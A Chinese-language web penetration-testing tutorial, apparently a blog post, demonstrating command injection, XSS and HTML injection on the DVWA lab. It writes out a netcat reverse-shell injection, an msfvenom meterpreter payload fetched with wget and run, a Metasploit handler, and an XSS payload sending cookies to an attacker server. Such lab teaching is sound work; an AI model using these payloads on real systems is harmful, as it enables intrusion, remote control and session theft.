今天分享的是網站應用滲透測試的第2個部分,
主要介紹的部分是:Command Injection; XSS; HTML Injection
;
或 &&
)的 IP 地址來測試是否存在命令注入漏洞。ls
或 whoami
),我們確認該網站存在命令注入漏洞。;
或 &&
,接著加上我們想執行的命令(如 ls -la
或 whoami
)。我們在 Kali Linux 上設置了一個 Netcat 監聽器,使用命令 nc -lvp 12345
,來等待目標系統的連接。
然後,我們在目標網站中輸入以下命令來觸發反向 shell:
192.168.1.1; nc -e /bin/bash 192.168.1.9 12345
成功執行後,我們在 Kali Linux 上的 Netcat 監聽器中獲得了目標系統的反向 shell。
通過這種方式,我們成功地在目標系統上執行了命令並獲得了系統的控制權。我們還嘗試了在不同安全級別下進行命令注入,並分析了網站源代碼,發現不同安全級別下,網站對命令的過濾機制。
msfvenom
生成了一個 Python meterpreter 反向 TCP shell payload。這個 payload 將用於在目標系統上創建一個持久的控制會話。wget
命令下載它。wget
命令,從我們的 Apache2 伺服器下載 Python payload,並通過 Python 解釋器執行它。生成 Python Payload:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=6000 -o tester.py
這個命令會生成一個名為 tester.py
的 Python payload,當執行這個 payload 時,它會嘗試連接到我們的 Kali Linux 機器上。
啟動 Apache2 伺服器並托管 Payload:
sudo service apache2 start
sudo cp tester.py /var/www/html/
這會將我們生成的 tester.py
文件複製到 /var/www/html/
目錄,從而使其可以通過訪問 http://192.168.1.9/tester.py
來下載。
在目標系統上下載並執行 Payload:
使用命令注入漏洞,我們在目標系統的命令注入頁面上輸入以下命令:
然後執行下載的 tester.py
文件:
這將在目標系統上執行我們的 Python payload。
192.168.1.1; wget <http://192.168.1.9/tester.py>
python tester.py
設置 MSFconsole 監聽器並捕獲連接:
在 Kali Linux 上,打開 MSFconsole 並設置監聽器來等待目標系統的連接:
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.1.9
set LPORT 6000
run
![](https://i.imgur.com/a3CwZa5.png)
當目標系統執行 tester.py
時,MSFconsole 將捕獲該連接並提供一個完整的 Meterpreter shell。
通過這種方式,我們成功地利用了命令注入漏洞,在目標系統上獲取了更強大的控制權限。這次我們使用了 Python meterpreter payload,而不是單純的 Netcat shell,這使我們能夠進行更復雜和更有效的滲透測試。
接下來要分享關於反射型跨站腳本攻擊 (Reflected XSS) 的概念及其應用。我們通過使用 DVWA (Damn Vulnerable Web Application) 測試平台展示了如何在網頁上找到並利用反射型 XSS 漏洞來執行 JavaScript 代碼。
<script>alert('1');</script>
來測試是否能夠觸發 XSS 漏洞。script
標籤),我們仍然能夠繞過過濾機制,成功執行 JavaScript 代碼。<script>alert('haha');</script>
,查看是否彈出對話框。<SCRIPT>alert('haha');</SCRIPT>
或分解的 script
標籤,確認是否能繞過過濾機制。設置一個 Python HTTP 伺服器來接收 Cookie:
python3 -m http.server --bind <kali的ip> 8000
編寫並輸入以下 JavaScript 代碼來竊取 Cookie:
<SCRIPT>document.write('<img src="<http://<kali的ip>:8000?cookie='+document.cookie+'>">');</SCRIPT>
當受害者訪問我們的惡意鏈接後,他們的 Cookie 將被發送到我們的伺服器上。
反射型 XSS 漏洞可能看似簡單,但它們能夠造成嚴重的安全隱患,尤其是在 Cookie 竊取和會話劫持的情況下。通過本次講解,我們學習了如何發現和利用這種漏洞,並瞭解了如何通過創建和使用惡意鏈接來進行攻擊。
<script>alert('haha');</script>
,發現該代碼在頁面上成功執行,並且每次訪問該頁面時都會重新執行這段代碼。maxLength
屬性,繞過了字符數量的限制,並且通過使用大寫字母的 SCRIPT
標籤繞過了過濾,成功執行了惡意代碼。script
、img
等可能用於注入惡意代碼的標籤。儲存型 XSS 是一種非常危險的攻擊方式,因為它能夠持久存在並影響到所有訪問受感染頁面的用戶。在實際應用中,攻擊者可以利用這一漏洞來竊取用戶的敏感信息,進行釣魚攻擊,甚至劫持用戶會話。通過正確的輸入過濾和編碼,可以有效防止此類攻擊。
接下來要分享關於 HTML 注入(HTML Injection)漏洞,並展示如何利用該漏洞來操控網頁的外觀和行為。HTML 注入與 XSS 類似,但它主要涉及將 HTML 代碼注入到網頁中,而不是 JavaScript 代碼。
HTML 注入是一種網頁漏洞,允許攻擊者將自定義的 HTML 代碼插入到網頁中。如果沒有適當的過濾或轉義,這些代碼將被伺服器解釋並呈現在網頁上。儘管這看似不如 XSS 危險,但它仍然可能造成嚴重的後果,特別是在攻擊者可以修改頁面外觀或將訪問者重定向到惡意網站時。
<h1>Test</h1>
,以查看網頁是否解釋為 HTML 代碼。結果顯示頁面確實將我們的輸入解釋為 HTML,這證明了存在 HTML 注入漏洞。<meta http-equiv="refresh" content="0;url=http://google.com/">
代碼,頁面自動重定向到指定的 URL,這可能用於將用戶引導至釣魚網站。為了防止 HTML 注入攻擊,網站開發者應該:
<
, >
, "
等特殊字符進行轉義。HTML 注入雖然不如 XSS 常見或危險,但它仍然是一個潛在的漏洞,特別是在攻擊者可以操控頁面外觀或進行頁面重定向的情況下。通過適當的防範措施,可以有效避免這類攻擊對網站造成的危害。